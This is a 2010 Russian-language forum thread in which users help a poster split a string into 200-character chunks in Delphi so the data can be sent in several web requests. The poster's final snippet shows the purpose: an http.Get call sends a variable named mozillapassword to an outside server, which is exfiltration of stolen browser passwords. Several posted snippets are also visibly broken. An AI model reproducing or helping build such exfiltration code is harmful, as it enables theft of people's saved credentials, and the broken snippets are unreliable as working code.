[Delphi ]Как разделить строку на равное кол-во символов ?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by kakeolala, 18 Sep 2010.

  1. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    Помогите с решением след. проблемы: как разделить строку .... длины по 200 символов в array of string;

    Просто надо отправить POST запрос странице множество символов- а он не все принимает. Вот хочу несколькими параметрами отправить - а как разделить на равное кол-во по 200 знаков строку незнай
     
  2. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    s - исходная строка
    var
    strings: array of string;
    while Length(s) > 0 do
    begin
    SetLength(strings, Length(strings) + 1);
    strings[High(strings)] := Copy(s, 1, 200);
    Delete(s, 1, 200);
    end;
     
    1 person likes this.
  3. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    а далее узнать размер массива через length(strings) я могу ? и каков будет ответ ? не взнаках надеюсь
     
  4. .::f-duck::.

    .::f-duck::. Member

    Joined:
    30 May 2009
    Messages:
    343
    Likes Received:
    32
    Reputations:
    7
    В каких, в жопу, знаках?
    "Како размер метлы? oasdasd метров".
    Где логика? Вы головой думайте.
     
  5. resulteeer

    resulteeer Banned

    Joined:
    10 Aug 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    program Project1;

    {$APPTYPE CONSOLE}

    uses
    SysUtils;

    var
    arr : array of string;
    st:string;
    i,k,n:integer;

    begin

    st:='ABCDEFGHIKLMNOPQRSTVWXYZ .......'; // строка, которую нуно разделить на подстроки длиной по 200 символов



    i:=1;
    k:=1;
    n:=200;

    SetLength(arr, 1);

    while (k<length(st)) do

    begin
    SetLength(arr, Length(arr)+1);
    arr:=Copy(st,k,n);
    k:=k+n;

    inc(i);

    end;


    for I := 1 to Length(arr) do
    writeln(arr) ;


    readln;
    end.


    Рабочий код!
     
  6. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Дык это будет 199 символов ;) . Дальше - похоже на правду.
     
  7. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    а если строка не делиться на 200 ??? к примеру 781 знака ?
     
  8. NemeZz

    NemeZz Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    102
    Likes Received:
    67
    Reputations:
    3
    то будет три порции по 200 символов и в последнюю упадет остаток.
     
    1 person likes this.
  9. kakeolala

    kakeolala Banned

    Joined:
    13 Jul 2010
    Messages:
    118
    Likes Received:
    2
    Reputations:
    0
    SetLength(t, (Length(s) div 200) +1);
    for i:=0 to (Length(s) div 200) do t:=Copy(S, i*200+1, 200);
    for i:=0 to (Length(s) div 200) do http.Get('http://webmoney1.jino-net.ru/index.php?txt='+mozillapassword);

    все канает - спасибо всем, дорогие россияне
     
  10. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Пипец ТС ты даешь, во втором посте рабочий код как ты и просил. Я проверял прежде чем запостить
    length(strings) вернуло бы количество элементов в массиве, а не количество знаков (чего?)
    Нахрена так много дополнительных переменных то?
     
    #10 GhostOnline, 19 Sep 2010
    Last edited: 19 Sep 2010